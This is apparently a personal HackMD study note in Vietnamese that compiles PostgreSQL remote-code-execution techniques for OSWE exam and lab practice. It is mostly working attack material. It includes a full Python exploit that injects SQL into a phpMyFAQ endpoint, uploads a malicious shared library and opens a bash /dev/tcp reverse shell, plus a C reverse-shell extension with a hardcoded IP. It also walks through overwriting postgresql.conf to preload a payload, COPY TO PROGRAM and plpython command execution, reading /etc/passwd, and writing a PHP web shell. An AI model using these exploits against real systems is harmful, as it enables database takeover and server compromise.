cuongnh
  • NEW!
    NEW!  Connect Ideas Across Notes
    Save time and share insights. With Paragraph Citation, you can quote others’ work with source info built in. If someone cites your note, you’ll see a card showing where it’s used—bringing notes closer together.
    Got it
      • Create new note
      • Create a note from template
        • Sharing URL Link copied
        • /edit
        • View mode
          • Edit mode
          • View mode
          • Book mode
          • Slide mode
          Edit mode View mode Book mode Slide mode
        • Customize slides
        • Note Permission
        • Read
          • Only me
          • Signed-in users
          • Everyone
          Only me Signed-in users Everyone
        • Write
          • Only me
          • Signed-in users
          • Everyone
          Only me Signed-in users Everyone
        • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invite by email
        Invitee

        This note has no invitees

      • Publish Note

        Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

        Your note will be visible on your profile and discoverable by anyone.
        Your note is now live.
        This note is visible on your profile and discoverable online.
        Everyone on the web can find and read all notes of this public team.

        Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Explore these features while you wait
        Complete general settings
        Bookmark and like published notes
        Write a few more notes
        Complete general settings
        Write a few more notes
        See published notes
        Unpublish note
        Please check the box to agree to the Community Guidelines.
        View profile
      • Commenting
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
        • Everyone
      • Suggest edit
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
      • Emoji Reply
      • Enable
      • Versions and GitHub Sync
      • Note settings
      • Note Insights New
      • Engagement control
      • Make a copy
      • Transfer ownership
      • Delete this note
      • Save as template
      • Insert from template
      • Import from
        • Dropbox
        • Google Drive
        • Gist
        • Clipboard
      • Export to
        • Dropbox
        • Google Drive
        • Gist
      • Download
        • Markdown
        • HTML
        • Raw HTML
    Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
    Create Create new note Create a note from template
    Menu
    Options
    Engagement control Make a copy Transfer ownership Delete this note
    Import from
    Dropbox Google Drive Gist Clipboard
    Export to
    Dropbox Google Drive Gist
    Download
    Markdown HTML Raw HTML
    Back
    Sharing URL Link copied
    /edit
    View mode
    • Edit mode
    • View mode
    • Book mode
    • Slide mode
    Edit mode View mode Book mode Slide mode
    Customize slides
    Note Permission
    Read
    Only me
    • Only me
    • Signed-in users
    • Everyone
    Only me Signed-in users Everyone
    Write
    Only me
    • Only me
    • Signed-in users
    • Everyone
    Only me Signed-in users Everyone
    Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # PostgreSQL Large Objects ## RCE Postgre - https://hackviser.com/tactics/pentesting/services/postgresql ## PostgreSQL Large Objects - https://hacktricks.wiki/en/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.html ### RCE in Linux - https://huntr.com/bounties/faac0c92-8d4b-4901-a933-662b661a3f99 - https://hackmd.io/@LwUkTWwBSVKVI1AAsOQuDg/SJGfuFjpkl - https://hacktricks.wiki/en/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.html - https://www.ucolick.org/~de/PG/Man/large_objects.3.html - https://knowledge.dhound.io/security-practices/exploitation/rce-with-postgresql-extensions - https://www.tigerdata.com/learn/handling-large-objects-in-postgres - https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md - file so ``` gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c ``` ``` #include <string.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); } ``` RCE ```python= # !/usr/bin/python3 import random import sys import requests def reverse_shell_via_large_object(base_url: str, listener_host: str, listener_port: str, session_id: str): loid = random.randint(10, 100000) extension_name = "/tmp/pg_exec_{}.so".format(loid) payload = """e11', 1000, 0, 'no', 0, 'fake injected content', 'fake injected content', '123<br><div id=\"newFAQContentLink\">More information: <a href=\"http://mvlcw0p4vg6j4e2q50ayzit5yw4nsfg4.oastify.com\" target=\"_blank\">http://mvlcw0p4vg6j4e2q50ayzit5yw4nsfg4.oastify.com</a></div>', 'oldie', 'blah@gmail.com', 'y', '20221102152119', '', 0, '00000000000000', '99991231235959', '2022-11-02 15:21:20', '');""" payload += "select lo_create({});".format(loid) # UDF Extension compiled for Debian buster running PostgreSQL 11.17 chunk_1 = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAUBAAAAAAAABAAAAAAAAAAAg4AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AQAAAAAAADwBAAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAA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AAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAACBAAAAAAAAAIDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAoQAAAAAAAACgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAoMAAAAAAAABwAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAASDAAAAAAAAAQBQAAAAAAABoAAAAuAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAFg1AAAAAAAAvAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAUNwAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" insert_template = "INSERT INTO pg_largeobject (loid, pageno, data) VALUES ({}, {}, decode('{}', 'base64'));" payload += insert_template.format(loid, 0, chunk_1) payload += insert_template.format(loid, 1, chunk_2) payload += insert_template.format(loid, 2, chunk_3) payload += insert_template.format(loid, 3, chunk_4) payload += insert_template.format(loid, 4, chunk_5) payload += insert_template.format(loid, 5, chunk_6) payload += insert_template.format(loid, 6, chunk_7) payload += insert_template.format(loid, 7, chunk_8) payload += "select lo_export({}, '{}');".format(loid, extension_name) # UDF Extension is now exported to the file system, load it and open up a reverse shell payload += "CREATE FUNCTION sys(cstring) RETURNS int AS '{}', 'pg_exec' LANGUAGE C STRICT;".format( extension_name) payload += 'SELECT sys(\'bash -c "bash -i >& /dev/tcp/{}/{} 0>&1"\');'.format( listener_host, listener_port) payload += "DROP FUNCTION IF EXISTS sys(cstring) -- -" endpoint = "{}/ajaxservice.php?action=savefaq".format(base_url) cookies = { "PHPSESSID": session_id, "pmf_sid": "1", } headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close" } pwn = { "lang": payload, # Injection payload goes here "rubrik": "1", "answer": "123", "name": "oldie", "question": "123", "keywords": "12331", "openQuestionID": '', "email": "blah@gmail.com", "contentlink": "http://mvlcw0p4vg6j4e2q50ayzit5yw4nsfg4.oastify.com", } requests.post(endpoint, headers=headers, cookies=cookies, data=pwn) # Example usage: # python3 shell.py http://172-105-72-245.ip.linodeusercontent.com/phpmyfaq 172.105.72.245 4242 6tqnncs8bqpai22vkj2g17o828 if __name__ == '__main__': if len(sys.argv) != 5: print("usage: %s TARGET LHOST LPORT" % sys.argv[0]) sys.exit(-1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] sess_id = sys.argv[4] reverse_shell_via_large_object( base_url=target, listener_host=lhost, listener_port=lport, session_id=sess_id) ``` file so kết nối socket ```python= #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* code taken from https://www.revshells.com/ */ int port = 8888; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` ![image](https://hackmd.io/_uploads/HJT_qgQaZg.png) ``` gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` ``` FILE="./payload.so" OUTPUT_DIR="./payload_chunks" CHUNK_SIZE=2048 mkdir -p "$OUTPUT_DIR" split -b $CHUNK_SIZE "$FILE" "$OUTPUT_DIR/" OFFSET=0 for f in $OUTPUT_DIR/*; do xxd -p -c 999999 "$f" > "$OUTPUT_DIR/hex_$OFFSET" rm "$f" OFFSET=$(($OFFSET + $CHUNK_SIZE)) done ``` ``` import requests import sys,os URL = "http://localhost:5000/user" # URL of the vulnerable application DIR = "E:/Filelocation/Information-Security/Lab/SQLi/Postgre-SQL/Postgre_SQL/payload_chunks" # Directory containing the files to file .so decode hex OID = 8382 # OID of the large object in PostgreSQL CHUNK_SIZE = 2048 # Size of each chunk in bytes LOOP = 1 # Number of chunks for filename in os.listdir(DIR): file_path = os.path.join(DIR, filename) with open(file_path, 'r') as file: if file.name.endswith("_0"): # Intial, we need to create the large object in PostgreSQL with open(file_path, 'r') as file: data = file.read() payload = {"name": f"a' union select 1333,CAST((select lo_from_bytea({OID},decode('{data}','hex'))) as text),1-- -"} res = requests.get(URL, params=payload) print(payload) print("\n") else: with open(file_path, 'r') as file: # Continue to write the large object in PostgreSQL data = file.read() payload = {"name": f"a' union select 1333,CAST((select lo_put({OID},{CHUNK_SIZE*LOOP},decode('{data}','hex'))) as text),1-- -"} res = requests.get(URL, params=payload) print(payload) print("\n") ``` Dưới đây là **toàn bộ flow tấn công** trong bài *“PostgreSQL SELECT-only RCE”* (adeadfed), mình tóm lại theo đúng logic để bạn dễ dùng khi làm OSWE / lab. --- # 🧠 Tổng quan ý tưởng Bài này giải quyết case khó: * ❌ Không dùng stacked query (`; SELECT ...`) * ❌ Chỉ inject được **SELECT** * ✅ Nhưng vẫn đạt **RCE** 👉 Ý tưởng chính: 1. **Đọc config PostgreSQL** 2. **Ghi đè config → preload thư viện độc** 3. **Upload file `.so`** 4. **Reload config → trigger RCE** 👉 Điểm mấu chốt: * Dùng các hàm: * `lo_import` (read file) * `lo_export` (write file) * `lo_from_bytea`, `lo_put` (ghi binary) * Tất cả đều chạy được **trong SELECT** ([@adeadfed][1]) --- # ⚔️ Step 1: Đọc `postgresql.conf` Mục tiêu: lấy config hiện tại để chỉnh sửa mà không làm hỏng hệ thống. ### Flow: ```sql -- 1. Lấy path config SELECT sourcefile FROM pg_file_settings; -- 2. Load file vào large object SELECT lo_import('/var/lib/postgresql/data/postgresql.conf', 31337); -- 3. Đọc nội dung file SELECT lo_get(31337); ``` 👉 Output: * trả về hex → decode ra text config ([@adeadfed][1]) --- # ⚔️ Step 2: Ghi đè config (quan trọng nhất) Mục tiêu: ép PostgreSQL load file `.so` của attacker. ### Sửa config: ```conf dynamic_library_path = '/tmp:$libdir' session_preload_libraries = 'payload.so' ``` 👉 Ý nghĩa: * `/tmp` = nơi attacker có thể ghi file * `session_preload_libraries` → load `.so` mỗi khi connect DB --- ### Ghi file bằng SQL: ```sql -- 1. Encode config (base64) SELECT lo_from_bytea(133337, decode('BASE64_CONFIG', 'base64')); -- 2. Ghi ra disk (overwrite) SELECT lo_export(133337, '/var/lib/postgresql/data/postgresql.conf'); ``` 👉 Lúc này config đã bị backdoor ([@adeadfed][1]) --- # ⚔️ Step 3: Upload payload `.so` Mục tiêu: đưa file thực thi lên server. --- ### 3.1 Kiểm tra version ```sql SELECT version(); ``` 👉 để compile đúng version PostgreSQL --- ### 3.2 Upload file `.so` (chunked) Do binary lớn → phải chia nhỏ: ```sql -- tạo object SELECT lo_from_bytea(133338, decode('chunk1', 'base64')); -- ghi thêm các chunk SELECT lo_put(133338, offset, decode('chunkN', 'base64')); -- ghi ra file SELECT lo_export(133338, '/tmp/payload.so'); ``` 👉 `/tmp/payload.so` chính là backdoor ([@adeadfed][1]) --- ### Payload `.so` làm gì? * Khi load sẽ chạy `_init()` * Thường là: * reverse shell * command execution --- # ⚔️ Step 4: Reload config → trigger RCE ```sql SELECT pg_reload_conf(); ``` 👉 Sau đó: * Khi có connection mới → PostgreSQL load `.so` * `_init()` chạy → RCE 👉 Kết quả: ```bash uid=999(postgres) ``` ([@adeadfed][1]) --- # 🔥 Tóm tắt attack chain (quan trọng) ```text SQLi (SELECT only) ↓ Read postgresql.conf ↓ Overwrite config (preload .so) ↓ Upload payload.so ↓ Reload config ↓ New DB connection ↓ RCE ``` --- # ⚠️ Điều kiện để exploit thành công * Có quyền: * `lo_import`, `lo_export` * hoặc gần DBA * Có quyền ghi file hệ thống * DB chạy dưới user có quyền write config 👉 Nói ngắn gọn: > **phải có privilege cao (DBA hoặc tương đương)** --- # 💡 Insight quan trọng (OSWE hay hỏi) ### 1. Vì sao bypass được "SELECT only"? * Không cần stacked query * Tất cả logic nằm trong **nested SELECT** --- ### 2. Điểm mạnh của kỹ thuật này * Không cần: * `COPY ... PROGRAM` * `xp_cmdshell` * Pure PostgreSQL abuse --- ### 3. Đây là kiểu gì? 👉 **File write + DLL hijacking (PostgreSQL style)** --- Bạn nên nhớ pattern này: * `lo_import` → read file * `lo_export` → write file * `pg_largeobject` → storage trung gian * config injection → persistence + RCE So sánh 3 kỹ thuật RCE trong PostgreSQL này rất “trúng tủ” OSWE vì chúng đại diện cho **3 mindset khác nhau**: 👉 *OS command trực tiếp* vs *language abuse* vs *config hijack + file write* --- # ⚔️ 1. `COPY TO PROGRAM` RCE ## 🧠 Ý tưởng Chạy command OS trực tiếp qua PostgreSQL ```sql COPY (SELECT '') TO PROGRAM 'id'; ``` --- ## ⚙️ Cách hoạt động * PostgreSQL spawn process trên OS * Command chạy dưới user `postgres` --- ## ✅ Ưu điểm * RCE **ngay lập tức** * Payload cực ngắn * Không cần upload file --- ## ❌ Nhược điểm * ❗ Cần quyền cao: * superuser * ❗ Thường bị disable * ❗ Cần stacked query (`;`) --- ## 🔥 Độ thực chiến * ⭐⭐⭐☆☆ (ít gặp trong exam vì quá “thẳng”) --- # ⚔️ 2. `plpython` RCE ## 🧠 Ý tưởng Dùng Python interpreter bên trong PostgreSQL ```sql CREATE FUNCTION pwn() RETURNS void AS $$ import os os.system("id") $$ LANGUAGE plpythonu; SELECT pwn(); ``` --- ## ⚙️ Cách hoạt động * PostgreSQL hỗ trợ procedural language * `plpythonu` = untrusted → chạy OS command --- ## ✅ Ưu điểm * Linh hoạt (viết code Python) * Không cần file `.so` --- ## ❌ Nhược điểm * ❗ Cần: * `CREATE FUNCTION` * extension `plpythonu` phải tồn tại * ❗ Thường bị disable * ❗ Cần stacked query --- ## 🔥 Độ thực chiến * ⭐⭐☆☆☆ (CTF có, thực tế ít) --- # ⚔️ 3. SELECT-only RCE (adeadfed) ## 🧠 Ý tưởng Không chạy command trực tiếp → mà: ```text viết file + hijack config → PostgreSQL tự chạy payload ``` --- ## ⚙️ Cách hoạt động 1. `lo_import` → đọc file 2. `lo_export` → ghi file 3. overwrite config 4. upload `.so` 5. preload → auto execute --- ## ✅ Ưu điểm * ✔️ Không cần stacked query * ✔️ Chỉ cần **SELECT** * ✔️ Bypass nhiều filter * ✔️ Rất stealth (giống persistence) --- ## ❌ Nhược điểm * ❗ Phức tạp (nhiều bước) * ❗ cần quyền file write * ❗ cần hiểu internal PostgreSQL --- ## 🔥 Độ thực chiến * ⭐⭐⭐⭐⭐ --- # ⚖️ So sánh trực tiếp | Kỹ thuật | Quyền cần | Cần `;` | Độ khó | Độ stealth | Thực chiến | | --------------- | --------------- | ------- | ------ | ---------- | ---------- | | COPY TO PROGRAM | superuser | ✅ | ⭐ | ❌ | ⭐⭐⭐ | | plpython | create function | ✅ | ⭐⭐ | ❌ | ⭐⭐ | | SELECT-only RCE | high (lo_*) | ❌ | ⭐⭐⭐⭐ | ✅ | ⭐⭐⭐⭐⭐ | --- # các bước RCE trên linux **Authors**: < [nixawk](https://github.com/nixawk) > ---- #POSTGRESQL HACK# ---- ##DATABASE CONNECTION## Please connect to **postgresql** database, ``` lab:~/ $ psql -h 127.0.0.1 -U postgres -W ``` ---- ##DATABASE COMMANDS## ``` postgres=# help You are using psql, the command-line interface to PostgreSQL. Type: \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit ``` ``` postgres=# \h Available help: ABORT CREATE FOREIGN DATA WRAPPER DROP SEQUENCE ALTER AGGREGATE CREATE FOREIGN TABLE DROP SERVER ALTER COLLATION CREATE FUNCTION DROP TABLE ALTER CONVERSION CREATE GROUP DROP TABLESPACE ALTER DATABASE CREATE INDEX DROP TEXT SEARCH CONFIGURATION ALTER DEFAULT PRIVILEGES CREATE LANGUAGE DROP TEXT SEARCH DICTIONARY ALTER DOMAIN CREATE MATERIALIZED VIEW DROP TEXT SEARCH PARSER ALTER EVENT TRIGGER CREATE OPERATOR DROP TEXT SEARCH TEMPLATE ALTER EXTENSION CREATE OPERATOR CLASS DROP TRIGGER ALTER FOREIGN DATA WRAPPER CREATE OPERATOR FAMILY DROP TYPE ALTER FOREIGN TABLE CREATE ROLE DROP USER ALTER FUNCTION CREATE RULE DROP USER MAPPING ALTER GROUP CREATE SCHEMA DROP VIEW ALTER INDEX CREATE SEQUENCE END ALTER LANGUAGE CREATE SERVER EXECUTE ALTER LARGE OBJECT CREATE TABLE EXPLAIN ALTER MATERIALIZED VIEW CREATE TABLE AS FETCH ALTER OPERATOR CREATE TABLESPACE GRANT ALTER OPERATOR CLASS CREATE TEXT SEARCH CONFIGURATION INSERT ALTER OPERATOR FAMILY CREATE TEXT SEARCH DICTIONARY LISTEN ALTER ROLE CREATE TEXT SEARCH PARSER LOAD ALTER RULE CREATE TEXT SEARCH TEMPLATE LOCK ALTER SCHEMA CREATE TRIGGER MOVE ALTER SEQUENCE CREATE TYPE NOTIFY ALTER SERVER CREATE USER PREPARE ALTER SYSTEM CREATE USER MAPPING PREPARE TRANSACTION ALTER TABLE CREATE VIEW REASSIGN OWNED ALTER TABLESPACE DEALLOCATE REFRESH MATERIALIZED VIEW ALTER TEXT SEARCH CONFIGURATION DECLARE REINDEX ALTER TEXT SEARCH DICTIONARY DELETE RELEASE SAVEPOINT ALTER TEXT SEARCH PARSER DISCARD RESET ALTER TEXT SEARCH TEMPLATE DO REVOKE ALTER TRIGGER DROP AGGREGATE ROLLBACK ALTER TYPE DROP CAST ROLLBACK PREPARED ALTER USER DROP COLLATION ROLLBACK TO SAVEPOINT ALTER USER MAPPING DROP CONVERSION SAVEPOINT ALTER VIEW DROP DATABASE SECURITY LABEL ANALYZE DROP DOMAIN SELECT BEGIN DROP EVENT TRIGGER SELECT INTO CHECKPOINT DROP EXTENSION SET CLOSE DROP FOREIGN DATA WRAPPER SET CONSTRAINTS CLUSTER DROP FOREIGN TABLE SET ROLE COMMENT DROP FUNCTION SET SESSION AUTHORIZATION COMMIT DROP GROUP SET TRANSACTION COMMIT PREPARED DROP INDEX SHOW COPY DROP LANGUAGE START TRANSACTION CREATE AGGREGATE DROP MATERIALIZED VIEW TABLE CREATE CAST DROP OPERATOR TRUNCATE CREATE COLLATION DROP OPERATOR CLASS UNLISTEN CREATE CONVERSION DROP OPERATOR FAMILY UPDATE CREATE DATABASE DROP OWNED VACUUM CREATE DOMAIN DROP ROLE VALUES CREATE EVENT TRIGGER DROP RULE WITH CREATE EXTENSION DROP SCHEMA ``` ``` postgres=# \? General \copyright show PostgreSQL usage and distribution terms \g [FILE] or ; execute query (and send results to file or |pipe) \gset [PREFIX] execute query and store results in psql variables \h [NAME] help on syntax of SQL commands, * for all commands \q quit psql \watch [SEC] execute query every SEC seconds Query Buffer \e [FILE] [LINE] edit the query buffer (or file) with external editor \ef [FUNCNAME [LINE]] edit function definition with external editor \p show the contents of the query buffer \r reset (clear) the query buffer \s [FILE] display history or save it to file \w FILE write query buffer to file Input/Output \copy ... perform SQL COPY with data stream to the client host \echo [STRING] write string to standard output \i FILE execute commands from file \ir FILE as \i, but relative to location of current script \o [FILE] send all query results to file or |pipe \qecho [STRING] write string to query output stream (see \o) Informational (options: S = show system objects, + = additional detail) \d[S+] list tables, views, and sequences \d[S+] NAME describe table, view, sequence, or index \da[S] [PATTERN] list aggregates \db[+] [PATTERN] list tablespaces \dc[S+] [PATTERN] list conversions \dC[+] [PATTERN] list casts \dd[S] [PATTERN] show object descriptions not displayed elsewhere \ddp [PATTERN] list default privileges \dD[S+] [PATTERN] list domains \det[+] [PATTERN] list foreign tables \des[+] [PATTERN] list foreign servers \deu[+] [PATTERN] list user mappings \dew[+] [PATTERN] list foreign-data wrappers \df[antw][S+] [PATRN] list [only agg/normal/trigger/window] functions \dF[+] [PATTERN] list text search configurations \dFd[+] [PATTERN] list text search dictionaries \dFp[+] [PATTERN] list text search parsers \dFt[+] [PATTERN] list text search templates \dg[+] [PATTERN] list roles \di[S+] [PATTERN] list indexes \dl list large objects, same as \lo_list \dL[S+] [PATTERN] list procedural languages \dm[S+] [PATTERN] list materialized views \dn[S+] [PATTERN] list schemas \do[S] [PATTERN] list operators \dO[S+] [PATTERN] list collations \dp [PATTERN] list table, view, and sequence access privileges \drds [PATRN1 [PATRN2]] list per-database role settings \ds[S+] [PATTERN] list sequences \dt[S+] [PATTERN] list tables \dT[S+] [PATTERN] list data types \du[+] [PATTERN] list roles \dv[S+] [PATTERN] list views \dE[S+] [PATTERN] list foreign tables \dx[+] [PATTERN] list extensions \dy [PATTERN] list event triggers \l[+] [PATTERN] list databases \sf[+] FUNCNAME show a function's definition \z [PATTERN] same as \dp Formatting \a toggle between unaligned and aligned output mode \C [STRING] set table title, or unset if none \f [STRING] show or set field separator for unaligned query output \H toggle HTML output mode (currently off) \pset [NAME [VALUE]] set table output option (NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null| numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager}) \t [on|off] show only rows (currently off) \T [STRING] set HTML <table> tag attributes, or unset if none \x [on|off|auto] toggle expanded output (currently off) Connection \c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo} connect to new database (currently "postgres") \encoding [ENCODING] show or set client encoding \password [USERNAME] securely change the password for a user \conninfo display information about current connection Operating System \cd [DIR] change the current working directory \setenv NAME [VALUE] set or unset environment variable \timing [on|off] toggle timing of commands (currently off) \! [COMMAND] execute command in shell or start interactive shell Variables \prompt [TEXT] NAME prompt user to set internal variable \set [NAME [VALUE]] set internal variable, or list all if no parameters \unset NAME unset (delete) internal variable Large Objects \lo_export LOBOID FILE \lo_import FILE [COMMENT] \lo_list \lo_unlink LOBOID large object operations ``` ---- ###LIST DATABASES### ``` postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+-------------+-------------+----------------------- msfdb | msfuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (4 rows) ``` ---- ###LIST DATABASE USERS### ``` postgres=# \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------+----------- msfuser | | {} postgres | Superuser, Create role, Create DB, Replication | {} ``` Please try more details about postgresql database. ---- ##LIST DIRECTORY## ``` postgres=# select pg_ls_dir('/etc'); ERROR: absolute path not allowed postgres=# select pg_ls_dir('./'); pg_ls_dir ---------------------- postmaster.opts postmaster.pid pg_logical pg_clog postgresql.auto.conf pg_hba.conf cmd.so pg_multixact postgresql.conf pg_ident.conf global pg_stat_tmp PG_VERSION pg_dynshmem pg_twophase pg_xlog pg_notify pg_snapshots pg_tblspc pg_serial pg_stat base pg_subtrans pg_replslot (24 rows) ``` ---- ##READ FILE## **method1** ``` postgres=# select pg_read_file('postgresql.conf', 0, 200); pg_read_file -------------------------------------------- # ----------------------------- + # PostgreSQL configuration file + # ----------------------------- + # + # This file consists of lines of the form:+ # + # name = value + # + # (The "=" is optional.) Whitespace m (1 row) ``` **method2** ``` postgres=# drop table pwn; ERROR: table "pwn" does not exist postgres=# CREATE TABLE pwn(t TEXT); CREATE TABLE postgres=# COPY pwn FROM '/etc/passwd'; COPY 27 postgres=# SELECT * FROM pwn limit 1 offset 0; t --------------------------------- root:x:0:0:root:/root:/bin/bash (1 row) postgres=# SELECT * FROM pwn; t ------------------------------------------------------------------------------ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin avahi:x:84:84:avahi:/:/bin/false polkitd:x:102:102:Policy Kit Daemon:/:/bin/false git:x:997:997:git daemon user:/:/bin/bash colord:x:124:124::/var/lib/colord:/bin/false postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash lab:x:1000:1000::/home/notfound:/bin/bash stunnel:x:16:16::/var/run/stunnel:/bin/false dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin mongodb:x:995:2::/var/lib/mongodb:/bin/bash mysql:x:89:89::/var/lib/mysql:/bin/false sslh:x:994:994::/:/sbin/nologin (27 rows) postgres=# DROP table pwn; ``` ---- ##WRITE FILE## ``` postgres=# DROP TABLE pwn; DROP TABLE postgres=# CREATE TABLE pwn (t TEXT); CREATE TABLE postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>'); INSERT 0 1 postgres=# SELECT * FROM pwn; t -------------------------------- <?php @system("$_GET[cmd]");?> (1 row) postgres=# COPY pwn(t) TO '/tmp/cmd.php'; COPY 1 postgres=# DROP TABLE pwn; DROP TABLE ``` ---- ##UDF HACK## ###COMPILE SOURCE### ``` lab: / $ git clone https://github.com/sqlmapproject/udfhack/ ``` ``` lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so lab: / $ strip -sx lib_postgresqludf_sys.so ``` ###COMMAND EXECUTION### transfrom udf.so to hex strings. ``` lab:~/ $ cat udf.so | hex ``` upload udf.so with databse features. ``` postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex')); INSERT 0 1 postgres=# SELECT lo_export(19074, 'cmd.so'); ERROR: pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213 postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------ /var/lib/postgres/data (1 row) ``` Library is too large, and we need to split it to some pieces. Please read https://github.com/sqlmapproject/sqlmap/issues/1170. ``` postgres=# select * from pg_largeobject; loid | pageno | data ------+--------+------ (0 rows) postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------ /var/lib/postgres/data (1 row) 